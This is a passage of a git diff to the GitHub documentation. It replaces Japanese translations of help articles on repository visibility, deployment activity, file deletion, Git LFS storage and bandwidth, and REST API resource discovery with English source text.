b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md index f6dbca9b9e..1841cf3ab9 100644 --- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md +++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md @@ -1,6 +1,6 @@ --- -title: リポジトリの可視性を設定する -intro: あなたのリポジトリを誰が表示できるか選択できます。 +title: Setting repository visibility +intro: You can choose who can view your repository. redirect_from: - /articles/making-a-private-repository-public/ - /articles/making-a-public-repository-private/ @@ -17,18 +17,17 @@ topics: - Repositories shortTitle: Repository visibility --- +## About repository visibility changes -## リポジトリの可視性の変更について +Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." -Organization のオーナーは、リポジトリの可視性を変更する機能を Organization のオーナーのみに制限できます。 詳しい情報については「[Organization 内でリポジトリの可視性の変更を制限する](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)」を参照してください。 +{% ifversion ghec %} -{% ifversion fpt or ghec %} - -If you're a member of an {% data variables.product.prodname_emu_enterprise %}, your repositories owned by your user account can only be private, and repositories in your enterprise's organizations can only be private or internal. +Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." {% endif %} -リポジトリの可視性を変更する前に、次の注意点を確認することをお勧めします。 +We recommend reviewing the following caveats before you change the visibility of a repository. {% ifversion ghes or ghae %} @@ -44,56 +43,62 @@ If you're a member of an {% data variables.product.prodname_emu_enterprise %}, y {% endif %} -### リポジトリをプライベートにする +### Making a repository private {% ifversion fpt or ghes or ghec %} -* {% data variables.product.product_name %} はパブリックリポジトリのパブリックフォークを切り離し、新しいネットワークに追加します。 パブリックフォークはプライベートにはなりません。{% endif %} -* リポジトリの可視性を内部からプライベートに変更すると、{% data variables.product.prodname_dotcom %}は、新しくプライベートになったリポジトリへのアクセス権限がないユーザに属するフォークを削除します。 {% ifversion fpt or ghes or ghec %}フォークの可視性もすべてプライベートになります。{% elsif ghae %}内部リポジトリにフォークがある場合、そのフォークの可視性はすでにプライベートになっています。{% endif %}詳しい情報については、「[リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)」を参照してください。{% ifversion fpt %} -* ユーザアカウントまたは Organization に {% data variables.product.prodname_free_user %} を使用している場合、可視性をプライベートに変更すると、リポジトリで一部の機能が使用できなくなります。 すべての公開済みの {% data variables.product.prodname_pages %} サイトは自動的に取り下げられます。 {% data variables.product.prodname_pages %} サイトにカスタムドメインを追加した場合、ドメインの乗っ取りリスクを回避するために、リポジトリをプライベートに設定する前に DNS レコードを削除または更新してください。 For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}{% ifversion fpt or ghec %} -* 今後、{% data variables.product.prodname_dotcom %} は {% data variables.product.prodname_archive %} にリポジトリを含まなくなります。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} のコンテンツとデータのアーカイブについて](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)」を参照してください。 -* リポジトリが {% data variables.product.prodname_advanced_security %} のライセンスを持つ Enterprise の一部である Organization の所有で、かつ予備のシートが十分である場合を除き、{% data variables.product.prodname_code_scanning %} などの {% data variables.product.prodname_GH_advanced_security %} 機能は動作を停止します。 {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion ghes %} -* 匿名の Git 読み取りアクセスは利用できなくなりました。 詳しい情報については、「[リポジトリで匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。{% endif %} +* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %} +{%- ifversion ghes or ghec or ghae %} +* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +{%- endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{%- ifversion fpt %} +* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +{%- endif %} -### リポジトリをインターナルにする +{%- ifversion fpt or ghec %} +* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." +* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %} +{%- endif %} -{% note %} +{%- ifversion ghes %} +* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +{%- endif %} -**注釈:** {% data reusables.gated-features.internal-repos %} +{% ifversion ghes or ghec or ghae %} -{% endnote %} +### Making a repository internal -* リポジトリのすべてのフォークはリポジトリネットワークに残り、{% data variables.product.product_name %} はルートリポジトリとフォークとの関係を維持します。 詳しい情報については、「[リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)」を参照してください。 +* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" {% endif %} {% ifversion fpt or ghes or ghec %} -### リポジトリをパブリックにする +### Making a repository public -* {% data variables.product.product_name %} はプライベートフォークを切り離し、スタンドアロンのプライベートリポジトリに変換します。 詳しい情報については、「[リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)」を参照してください。{% ifversion fpt or ghec %} -* オープンソースプロジェクトの作成の一環として、プライベートリポジトリをパブリックリポジトリに変換する場合は、[オープンソースガイド](http://opensource.guide)を参照して役立つヒントやガイドラインを確認してください。 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) でオープンソースプロジェクトの管理方法についての無料コースを受けることもできます。 リポジトリがパブリックになったら、コントリビューターをサポートするための最適な手法にプロジェクトが合致しているかどうかを確認するため、リポジトリのコミュニティプロフィールを表示できます。 詳しい情報については、「[コミュニティプロフィールを表示する](/articles/viewing-your-community-profile)」を参照してください。 -* リポジトリは、{% data variables.product.prodname_GH_advanced_security %} 機能へのアクセスを自動的に獲得します。 +* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %} +* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)." +* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features. For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %} {% endif %} -## リポジトリの可視性を変更する +## Changing a repository's visibility {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. [Danger Zone] の [Change repository visibility] の右側にある [**Change visibility**] をクリックします。 ![[Change visibility] ボタン](/assets/images/help/repository/repo-change-vis.png) -4. 可視性を選択します。 +3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**. + ![Change visibility button](/assets/images/help/repository/repo-change-vis.png) +4. Select a visibility. {% ifversion fpt or ghec %} - ![リポジトリの可視性オプションのダイアログ](/assets/images/help/repository/repo-change-select.png){% else %} -![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} -5. 正しいリポジトリの可視性を変更していることを確認するには、可視性を変更するリポジトリの名前を入力します。 -6. [**I understand, change repository visibility**] をクリックします。 + ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %} + ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} +5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of. +6. Click **I understand, change repository visibility**. {% ifversion fpt or ghec %} - ![リポジトリの可視性ボタンの変更確認](/assets/images/help/repository/repo-change-confirm.png){% else %} -![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} + ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %} + ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} -## 参考リンク +## Further reading - "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" diff --git a/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md b/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md index 1addd6180f..2ded74c394 100644 --- a/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md +++ b/translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリのデプロイメントアクティビティを表示する -intro: リポジトリ全体のデプロイメントまたは特定のプルリクエストに関する情報を表示できます。 +title: Viewing deployment activity for your repository +intro: You can view information about deployments for your entire repository or a specific pull request. redirect_from: - /articles/viewing-deployment-activity-for-your-repository - /github/administering-a-repository/viewing-deployment-activity-for-your-repository @@ -14,21 +14,21 @@ topics: - Repositories shortTitle: View deployment activity --- - {% note %} -**メモ:** デプロイメントダッシュボードは現在ベータ版であり、変更される可能性があります。 +**Note:** The deployments dashboard is currently in beta and subject to change. {% endnote %} -リポジトリへの読み取りアクセス権を持つ人は、リポジトリのデプロイメントワークフローが、Deployments API または[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/category/deployment) のアプリケーションを通して、{% data variables.product.product_name %} に統合されている場合、現在のすべてのデプロイメントの概要と過去のデプロイメントアクティビティのログを見ることができます。 詳しい情報については、「[デプロイメント](/rest/reference/repos#deployments)」を参照してください。 +People with read access to a repository can see an overview of all current deployments and a log of past deployment activity, if the repository's deployment workflow is integrated with {% data variables.product.product_name %} through the Deployments API or an app from [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/category/deployment). For more information, see "[Deployments](/rest/reference/repos#deployments)." -プルリクエストの [Conversation] タブにもデプロイメント情報が表示されます。 +You can also see deployment information on the "Conversation" tab of a pull request. -## デプロイメントダッシュボードを表示する +## Viewing the deployments dashboard {% data reusables.repositories.navigate-to-repo %} -2. To the right of the list of files, click **Environments**. ![Environments on the right of the repository page](/assets/images/help/repository/environments.png) +2. To the right of the list of files, click **Environments**. +![Environments on the right of the repository page](/assets/images/help/repository/environments.png) -## 参考リンク - - [プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) +## Further reading + - "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md b/translations/ja-JP/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md index ec6b3b4be1..1f83068935 100644 --- a/translations/ja-JP/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md +++ b/translations/ja-JP/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリのファイルを削除する -intro: '{% data variables.product.product_name %} のリポジトリ内にある各ファイル{% ifversion fpt or ghes > 3.0 or ghec %}またはディレクトリ全体{% endif %}を削除できます。' +title: Deleting files in a repository +intro: 'You can delete an individual file{% ifversion fpt or ghes > 3.0 or ghec %} or an entire directory{% endif %} in your repository on {% data variables.product.product_name %}.' redirect_from: - /articles/deleting-files - /github/managing-files-in-a-repository/deleting-files @@ -17,30 +17,30 @@ topics: - Repositories shortTitle: Delete files --- +## About file{% ifversion fpt or ghes > 3.0 or ghec %} and directory{% endif %} deletion -## ファイル{% ifversion fpt or ghes > 3.0 or ghec %}とディレクトリ{% endif %}の削除について +You can delete an individual file in your repository{% ifversion fpt or ghes > 3.0 or ghec %} or an entire directory, including all the files in the directory{% endif %}. -リポジトリにある個々のファイル{% ifversion fpt or ghes > 3.0 or ghec %}、またはディレクトリにあるすべてのファイルを含むディレクトリ全体を削除できます{% endif %}。 +If you try to delete a file{% ifversion fpt or ghes > 3.0 or ghec %} or directory{% endif %} in a repository that you don’t have write permissions to, we'll fork the project to your user account and help you send a pull request to the original repository after you commit your change. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." -If you try to delete a file{% ifversion fpt or ghes > 3.0 or ghec %} or directory{% endif %} in a repository that you don’t have write permissions to, we'll fork the project to your user account and help you send a pull request to the original repository after you commit your change. 詳しい情報については[プルリクエストについて](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)を参照してください。 +If the file{% ifversion fpt or ghes > 3.0 or ghec %} or directory{% endif %} you deleted contains sensitive data, the data will still be available in the repository's Git history. To completely remove the file from {% data variables.product.product_name %}, you must remove the file from your repository's history. For more information, see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)." -削除したファイル{% ifversion fpt or ghes > 3.0 or ghec %}またはディレクトリ{% endif %}に機密データが含まれている場合、そのデータは引き続きリポジトリの Git 履歴で利用できます。 {% data variables.product.product_name %} からファイルを完全に削除するには、リポジトリの履歴からファイルを削除する必要があります。 詳細は「[機密データをリポジトリから削除する](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)」を参照してください。 +## Deleting a file -## ファイルを削除する - -1. リポジトリ内で削除対象のファイルを見つけます。 -2. ファイルの先頭にある {% octicon "trash" aria-label="The trash icon" %}をクリックします。 +1. Browse to the file in your repository that you want to delete. +2. At the top of the file, click {% octicon "trash" aria-label="The trash icon" %}. {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% ifversion fpt or ghes > 3.0 or ghec %} -## ディレクトリを削除する +## Deleting a directory -1. リポジトリ内で削除対象のディレクトリを見つけます。 -1. 右上隅にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックしてから、[**Delete directory**] をクリックします。 ![ディレクトリを削除するボタン](/assets/images/help/repository/delete-directory-button.png) -1. 削除するファイルを確認します。 +1. Browse to the directory in your repository that you want to delete. +1. In the top-right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete directory**. + ![Button to delete a directory](/assets/images/help/repository/delete-directory-button.png) +1. Review the files you will delete. {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md index 38b9036a87..ac1229f6fe 100644 --- a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md +++ b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md @@ -1,5 +1,5 @@ --- -title: Git Large File Storageについて +title: About Git Large File Storage intro: '{% data variables.product.product_name %} limits the size of files allowed in repositories. To track files beyond this limit, you can use {% data variables.large_files.product_name_long %}.' redirect_from: - /articles/about-large-file-storage/ @@ -14,29 +14,29 @@ versions: shortTitle: Git Large File Storage --- -## {% data variables.large_files.product_name_long %}について +## About {% data variables.large_files.product_name_long %} -{% data variables.large_files.product_name_short %}は、リポジトリに実際のファイルではなく、ファイルへの参照を保存することで大きなファイルを扱います。 Gitのアーキテクチャを回避するために、{% data variables.large_files.product_name_short %}は実際のファイル（これはどこか別の場所に保存されます）への参照として働くポインタファイルを作成します。 {% data variables.product.product_name %}はこのポインタファイルをリポジトリ中で管理します。 リポジトリをクローンすると、{% data variables.product.product_name %}はこのポインタファイルを大きなファイルを見つけるための地図として使います。 +{% data variables.large_files.product_name_short %} handles large files by storing references to the file in the repository, but not the actual file itself. To work around Git's architecture, {% data variables.large_files.product_name_short %} creates a pointer file which acts as a reference to the actual file (which is stored somewhere else). {% data variables.product.product_name %} manages this pointer file in your repository. When you clone the repository down, {% data variables.product.product_name %} uses the pointer file as a map to go and find the large file for you. {% ifversion fpt or ghec %} -{% data variables.large_files.product_name_short %}を使用すると、最大で次のファイルサイズまで保存できます。 +Using {% data variables.large_files.product_name_short %}, you can store files up to: -| 製品 | 最大ファイルサイズ | -| ------------------------------------------------- | ---------------- | -| {% data variables.product.prodname_free_user %} | 2 GB | -| {% data variables.product.prodname_pro %} | 2 GB | -| {% data variables.product.prodname_team %} | 4 GB | +| Product | Maximum file size | +|------- | ------- | +| {% data variables.product.prodname_free_user %} | 2 GB | +| {% data variables.product.prodname_pro %} | 2 GB | +| {% data variables.product.prodname_team %} | 4 GB | | {% data variables.product.prodname_ghe_cloud %} | 5 GB |{% else %} - Using {% data variables.large_files.product_name_short %}, you can store files up to 5 GB in your repository. -{% endif %} +Using {% data variables.large_files.product_name_short %}, you can store files up to 5 GB in your repository. +{% endif %} -{% data variables.large_files.product_name_short %}を{% data variables.product.prodname_desktop %}と共に使うこともできます。 {% data variables.product.prodname_desktop %}でのGit FLSリポジトリのクローンに関する詳しい情報については、[GitHubからGitHub Desktopへのリポジトリのクローン](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)を参照してください。 +You can also use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}. For more information about cloning Git LFS repositories in {% data variables.product.prodname_desktop %}, see "[Cloning a repository from GitHub to GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)." {% data reusables.large_files.can-include-lfs-objects-archives %} -## ポインタファイルのフォーマット +## Pointer file format -{% data variables.large_files.product_name_short %}のポインタファイルは以下のようになっています。 +{% data variables.large_files.product_name_short %}'s pointer file looks like this: ``` version {% data variables.large_files.version_name %} @@ -44,16 +44,16 @@ oid sha256:4cac19622fc3ada9c0fdeadb33f88f367b541f38b89102a3f1261ac81fd5bcb5 size 84977953 ``` -これは、使用している{% data variables.large_files.product_name_short %}の`version`を追跡し、その後にファイルのユニークな識別子（`oid`）が続きます。 また、最終のファイルの`size` も保存します。 +It tracks the `version` of {% data variables.large_files.product_name_short %} you're using, followed by a unique identifier for the file (`oid`). It also stores the `size` of the final file. {% note %} -設定ファイルでクエリスイートを指定すると、{% data variables.product.prodname_codeql %} 分析エンジンは、デフォルトのクエリセットに加えて、スイートに含まれるクエリを実行します。 -- {% data variables.large_files.product_name_short %} は {% data variables.product.prodname_pages %} サイトでは使用できません。 -- {% data variables.large_files.product_name_short %} はテンプレートリポジトリでは使用できません。 - +**Notes**: +- {% data variables.large_files.product_name_short %} cannot be used with {% data variables.product.prodname_pages %} sites. +- {% data variables.large_files.product_name_short %} cannot be used with template repositories. + {% endnote %} -## 参考リンク +## Further reading -- [{% data variables.large_files.product_name_long %}とのコラボレーション](/articles/collaboration-with-git-large-file-storage) +- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage)" diff --git a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md index 645ffadfcf..c32b022fd9 100644 --- a/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md +++ b/translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md @@ -1,5 +1,5 @@ --- -title: ストレージと帯域の利用について +title: About storage and bandwidth usage intro: '{% data reusables.large_files.free-storage-bandwidth-amount %}' redirect_from: - /articles/billing-plans-for-large-file-storage/ @@ -12,39 +12,38 @@ versions: ghec: '*' shortTitle: Storage & bandwidth --- +{% data variables.large_files.product_name_short %} is available for every repository on {% data variables.product.product_name %}, whether or not your account or organization has a paid subscription. -{% data variables.product.product_name %} 上のすべてのリポジトリで、あなたのアカウントもしくは Organization が有料プランを持っているかどうかにかかわらず、{% data variables.large_files.product_name_short %} が利用できます。 +## Tracking storage and bandwidth use -## ストレージと帯域の利用の追跡 +When you commit and push a change to a file tracked with {% data variables.large_files.product_name_short %}, a new version of the entire file is pushed and the total file size is counted against the repository owner's storage limit. When you download a file tracked with {% data variables.large_files.product_name_short %}, the total file size is counted against the repository owner's bandwidth limit. {% data variables.large_files.product_name_short %} uploads do not count against the bandwidth limit. -{% data variables.large_files.product_name_short %}で追跡されているファイルに変更をコミットしてプッシュした場合、ファイルは全体として新しいバージョンがプッシュされ、総ファイルサイズがリポジトリのオーナーのストレージ制限に対してカウントされます。 {% data variables.large_files.product_name_short %}で追跡されているファイルをダウンロードすると、総ファイルサイズはリポジトリのオーナーの帯域制限に対してカウントされます。 {% data variables.large_files.product_name_short %}のアップロードは帯域制限に対してカウントされません。 - -例: -- 500 MB のファイルを {% data variables.large_files.product_name_short %} にプッシュすると、あなたに割り当てられた 500 MB のストレージを使うことになりますが、あなたの帯域は消費されません。 1 バイト分の変更を加えてそのファイルを再度プッシュすると、さらに 500 MB のストレージが使われ、帯域は消費されません。これらの 2 つのプッシュによる合計で、1 GB のストレージが使われ、帯域の消費はありません。 -- LFS で追跡されている 500 MB のファイルをダウンロードした場合、リポジトリのオーナーに割り当てられている帯域を 500 MB 消費します。 コラボレータがそのファイルに変更をプッシュし、あなたが新しいバージョンをローカルのリポジトリにプルしたなら、あなたは 500 MB の帯域を新たに消費するため、この 2 つのダウンロードでの合計の使用帯域は 1 GB になります。 +For example: +- If you push a 500 MB file to {% data variables.large_files.product_name_short %}, you'll use 500 MB of your allotted storage and none of your bandwidth. If you make a 1 byte change and push the file again, you'll use another 500 MB of storage and no bandwidth, bringing your total usage for these two pushes to 1 GB of storage and zero bandwidth. +- If you download a 500 MB file that's tracked with LFS, you'll use 500 MB of the repository owner's allotted bandwidth. If a collaborator pushes a change to the file and you pull the new version to your local repository, you'll use another 500 MB of bandwidth, bringing the total usage for these two downloads to 1 GB of bandwidth. - If {% data variables.product.prodname_actions %} downloads a 500 MB file that is tracked with LFS, it will use 500 MB of the repository owner's allotted bandwidth. {% ifversion fpt or ghec %} -{% data variables.large_files.product_name_long %}（{% data variables.large_files.product_name_short %}）オブジェクトがリポジトリのソースコードアーカイブに含まれている場合、それらのアーカイブをダウンロードすると、リポジトリの帯域幅の使用量にカウントされます。 詳しい情報については、「[リポジトリのアーカイブ内の {% data variables.large_files.product_name_short %} オブジェクトを管理する](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)」を参照してください。 +If {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in source code archives for your repository, downloads of those archives will count towards bandwidth usage for the repository. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)." {% endif %} {% tip %} -**ヒント**: +**Tips**: - {% data reusables.large_files.owner_quota_only %} - {% data reusables.large_files.does_not_carry %} {% endtip %} -## ストレージの容量 +## Storage quota -データパックを購入せずに {% data variables.large_files.initial_storage_quota %}以上にストレージを使用した場合でも、引き続き大きなアセットを持つリポジトリをクローンすることができますが、取り出せるのはポインタファイルのみであり、新しいファイルをプッシュして戻すことはできません。 ポインタファイルに関する詳しい情報については、「[{% data variables.large_files.product_name_long %}について](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)」を参照してください。 +If you use more than {% data variables.large_files.initial_storage_quota %} of storage without purchasing a data pack, you can still clone repositories with large assets, but you will only retrieve the pointer files, and you will not be able to push new files back up. For more information about pointer files, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)." -## 帯域の容量 +## Bandwidth quota -データパックを購入せずに {% data variables.large_files.initial_bandwidth_quota %}以上の帯域を月あたりに利用した場合、翌月までアカウントの {% data variables.large_files.product_name_short %}サポートは無効化されます。 +If you use more than {% data variables.large_files.initial_bandwidth_quota %} of bandwidth per month without purchasing a data pack, {% data variables.large_files.product_name_short %} support is disabled on your account until the next month. -## 参考リンク +## Further reading -- 「[ {% data variables.large_files.product_name_long %}の利用状況を表示する](/articles/viewing-your-git-large-file-storage-usage)」 -- 「[{% data variables.large_files.product_name_long %} の支払いを管理する](/articles/managing-billing-for-git-large-file-storage)」 +- "[Viewing your {% data variables.large_files.product_name_long %} usage](/articles/viewing-your-git-large-file-storage-usage)" +- "[Managing billing for {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)" diff --git a/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md b/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md index e7fc2cd0a1..74f1211882 100644 --- a/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md +++ b/translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md @@ -1,6 +1,6 @@ --- -title: ユーザのリソースを調べる -intro: REST APIに対する認証済みリクエストにおいて、アプリケーションがアクセスできるユーザのリポジトリやOrganizationを確実に調べる方法を学びます。 +title: Discovering resources for a user +intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API. redirect_from: - /guides/discovering-resources-for-a-user/ - /v3/guides/discovering-resources-for-a-user @@ -11,26 +11,26 @@ versions: ghec: '*' topics: - API -shortTitle: ユーザのリソースを見つける +shortTitle: Discover resources for a user --- - -When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. このガイドでは、これらのリソースを確実に調べる方法について説明します。 -To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. このプロジェクトの完全なソースコードは、[platform-samples][platform samples]リポジトリにあります。 +When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources. -## はじめましょう +To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository. -まだ[「認証の基本」][basics-of-authentication]ガイドを読んでいない場合は、それを読んでから以下の例に取り組んでください。 以下の例は、[OAuthアプリケーションを登録済み][register-oauth-app]で、[アプリケーションがユーザのOAuthトークンを持っている][make-authenticated-request-for-user]ことを前提としています。 +## Getting started -## アプリケーションでアクセス可能なユーザのリポジトリを調べる +If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user]. -ユーザは、個人でリポジトリを所有する他に、別のユーザやOrganizationが所有するリポジトリのコラボレータであることもあります。 まとめると、ユーザが権限を持ってアクセスできるリポジトリがあります。それはユーザが読み取りあるいは書き込みアクセスを持つプライベートリポジトリであったり、ユーザが書き込み権限を持つ{% ifversion not ghae %}パブリック{% else %}インターナル{% endif %}リポジトリであったりします。 +## Discover the repositories that your app can access for a user -アプリがユーザのどのリポジトリにアクセスできるかを決めるのは、[OAuthスコープ][scopes]および[Organizationのアプリケーションポリシー][oap]です。 以下のワークフローを使用して、これらのリポジトリを調べます。 +In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access. -いつものように、まずは[GitHubのOctokit.rb][octokit.rb] Rubyライブラリを読み込む必要があります。 そしてOctokit.rbが[ページネーション][pagination]を自動的に処理してくれるよう設定します。 +[OAuth scopes][scopes] and [organization application policies][oap] determine which of 